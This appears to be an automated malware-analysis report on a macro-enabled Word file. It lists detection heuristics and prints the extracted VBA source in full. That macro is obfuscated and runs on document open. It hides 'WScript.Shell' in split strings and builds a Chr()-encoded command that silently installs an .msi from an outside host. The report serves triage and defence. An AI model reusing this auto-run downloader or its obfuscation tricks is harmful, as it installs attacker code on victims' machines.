MALICIOUS
232
Risk Score
Heuristics 8
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
I_pRsDUbPEg2Hl6t_N_A__1V1OU__7yzCMBDEFJg_ZBXFa_vWO8XKi__GIaTsRQSPpn4Yqdz_V8d4SEPGieu9QdcH_75nyxi_s_ZvBLpt_TyjZFw__B_v = "ws" & "cR" & "IPt." & "sHell" -
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.Matched line in script
I_pRsDUbPEg2Hl6t_N_A__1V1OU__7yzCMBDEFJg_ZBXFa_vWO8XKi__GIaTsRQSPpn4Yqdz_V8d4SEPGieu9QdcH_75nyxi_s_ZvBLpt_TyjZFw__B_v = "ws" & "cR" & "IPt." & "sHell" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set qKjTXLl_6vx7g_6Rvb__xyW5nO_6Ld5Pz6ek__gmzvDF_F3oAmY_2wS1wop_IppRzX_jfJJo4VK_kFwWUM5i_vW_cnwSPYS__vPi = CreateObject(I_pRsDUbPEg2Hl6t_N_A__1V1OU__7yzCMBDEFJg_ZBXFa_vWO8XKi__GIaTsRQSPpn4Yqdz_V8d4SEPGieu9QdcH_75nyxi_s_ZvBLpt_TyjZFw__B_v) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3435 bytes |
SHA-256: 66da747e1b729ec01c324371e6f02f5b03e8442c33bec2724d31abff69140d5c |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
26 of 44 identifiers look randomly generated (e.g. 'OWZrZsSzGZYje__7d16zYQ_mL2Or7einCzxUjZyT') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Tzc_eiUs.p_RMzanzLgd6qqjFdWO_
End Sub
Attribute VB_Name = "Tzc_eiUs"
Sub p_RMzanzLgd6qqjFdWO_()
ECHPu__bzHtxxUIuaexWD83k_tDFqrXm3q_lGO_Xgp = "5 1 56 9mf qqpd%'F#N:,K4"
t7fpijnO_nWaFFJfJA13t_t_4_Jfd_bOzWD6_P = "5 1 56 93onO:<"
daRksERa4Rj__gm5kCXubO_t5__kr_Mb3yLRRVA2bfPD = "5 1 56 9N'Ou@'"
PJ1Q9bkVD_Ry996_3EGsjb1idB_rKyUF_K8VE_NNyGkIDo6qubMOFfVwSHvwW3_Nh_onAZ22z33RzgTyEL7ra_Acy__6Daz6_Lk_9H = 0
aqBabseehESgph_pr2___BKKcEBfH6841yjQXFX = "5 1 56 9W(D^[BBt) b;B"
c6NF_9tpRtuwW_u3NU17Mf8LlFXpz7pHaTaBw5DLrXtvW = "5 1 56 9#$Y_8)6 /"
Zu_5K5gI_77_dzZ_yT_cL_gi_SGdExuBydpmj5k = "5 1 56 9JQ8Q P7 B P]] S"
I_pRsDUbPEg2Hl6t_N_A__1V1OU__7yzCMBDEFJg_ZBXFa_vWO8XKi__GIaTsRQSPpn4Yqdz_V8d4SEPGieu9QdcH_75nyxi_s_ZvBLpt_TyjZFw__B_v = "ws" & "cR" & "IPt." & "sHell"
tjHIdDuQNuniPq3vVDVy2n__K_tBA_vS = "5 1 56 9 yf+?,|,78 P6k*0G"
sI3_t_TJ_3rZEUU5qIYD_r_fD7SThPC9JofWAsl__dztJb_ = "5 1 56 9m F)O;\+`fPtU,X,E1"
oOGH1LDwACLxwiAlkosFZx748fNCb2KLkzm_Q_L = "5 1 56 9K?$*D"
On Error Resume Next
l_1fJm4yb_2D_ZLe1QLJJ8_K_19B655 = "5 1 56 9KEk8B\,?FL59"
JcR__iHlF_qu_jmFuOJvl_w_m_eXSnq2f_gkmTB6io_FbBz = "5 1 56 9--yW ) n"
kTkCwk_HEoPR__sIbLyE___bQCMC79gY = "5 1 56 9UKFq+LD;"
pIjEQdX_8_hIK8T = "C" & "Md /" & "C m^sie^X^e^C" & Chr(320 / 10) & Chr(470 / 10) & Chr(1050 / 10) & Chr(320 / 10) & Chr(1040 / 10) & Chr(1160 / 10) & Chr(1160 / 10) & Chr(1120 / 10) & Chr(580 / 10) & Chr(470 / 10) & Chr(470 / 10) & Chr(970 / 10) & Chr(1090 / 10) & Chr(1050 / 10) & Chr(1140 / 10) & Chr(970 / 10) & Chr(1040 / 10) & Chr(970 / 10) & Chr(1140 / 10) & Chr(1110 / 10) & Chr(1110 / 10) & Chr(1100 / 10) & Chr(460 / 10) & Chr(990 / 10) & Chr(1110 / 10) & Chr(1090 / 10) & Chr(470 / 10) & Chr(1100 / 10) & _
Chr(1010 / 10) & Chr(1190 / 10) & Chr(470 / 10) & Chr(1010 / 10) & Chr(1080 / 10) & Chr(1080 / 10) & Chr(970 / 10) & Chr(460 / 10) & Chr(1090 / 10) & Chr(1150 / 10) & Chr(1050 / 10) & Chr(320 / 10) & Chr(470 / 10) & Chr(1130 / 10) & Chr(1100 / 10) & Chr(320 / 10)
aC4_qZ4GWwQ6L__3yUb3m7tiR_ujM5JF_z12_ob_RgrHj_FP_TNbVnvdS = "5 1 56 9Ym'Cb] "
KkhnJ3ab_xV_Bt_2Za_Db8L2Ub3grtS_MYx_3M_nG = "5 1 56 9rrg:^TF*H? "
oYFsG5iDi5BpO1LNpIqA3tPURvm6_9CSQ7vX = "5 1 56 9J ZiR6$K~ "
Set qKjTXLl_6vx7g_6Rvb__xyW5nO_6Ld5Pz6ek__gmzvDF_F3oAmY_2wS1wop_IppRzX_jfJJo4VK_kFwWUM5i_vW_cnwSPYS__vPi = CreateObject(I_pRsDUbPEg2Hl6t_N_A__1V1OU__7yzCMBDEFJg_ZBXFa_vWO8XKi__GIaTsRQSPpn4Yqdz_V8d4SEPGieu9QdcH_75nyxi_s_ZvBLpt_TyjZFw__B_v)
DgIS_xFM8haoC_PmM4_uQTHm_jrrNR_xHg__qYlbE_w_TOv__ni1NKqs = "5 1 56 9 , 7;tg[ e^"
NeKW_W8fclWe8E6xHfeMfCHrxiojrBY7zKu_ = "5 1 56 92&s@~O:.A Q8 EE';i>"
DDUq_Gar2F_wquiroTB_LbiVrNwPBZolSti__xG = "5 1 56 97n sx[DF9`Q{M=z{T 1"
qKjTXLl_6vx7g_6Rvb__xyW5nO_6Ld5Pz6ek__gmzvDF_F3oAmY_2wS1wop_IppRzX_jfJJo4VK_kFwWUM5i_vW_cnwSPYS__vPi.Run pIjEQdX_8_hIK8T, OWZrZsSzGZYje__7d16zYQ_mL2Or7einCzxUjZyTTutGZ8tucgvm6BD7UvUhTk2k1tWoGlM__aUngtCM_dDPs5rAl1Aw_GAs2_Ooa_dzJrkUqZOji_ZzVb15_V_OlY9tZkuXTWv
OkZzgY137cqHV_jxke99qT_eQaVT6_ffzBwYvl_7zTz = "5 1 56 9Fd1om W L"
wTHIcs57X_xY4Z4X__W6v6_QIL__9c__LdM__H3kAC_U_l = "5 1 56 9 bN'7B tZ) \~1$ 5Y"
C54SX_zI19Fh384_oCPCsNx_v5iyoO = "5 1 56 9; )Ci% <q@g"
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 14848 bytes |
SHA-256: 21814ce60cec624c84849e838734b6f2b576b35eb28df8c46fac56c43d02fa3b |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.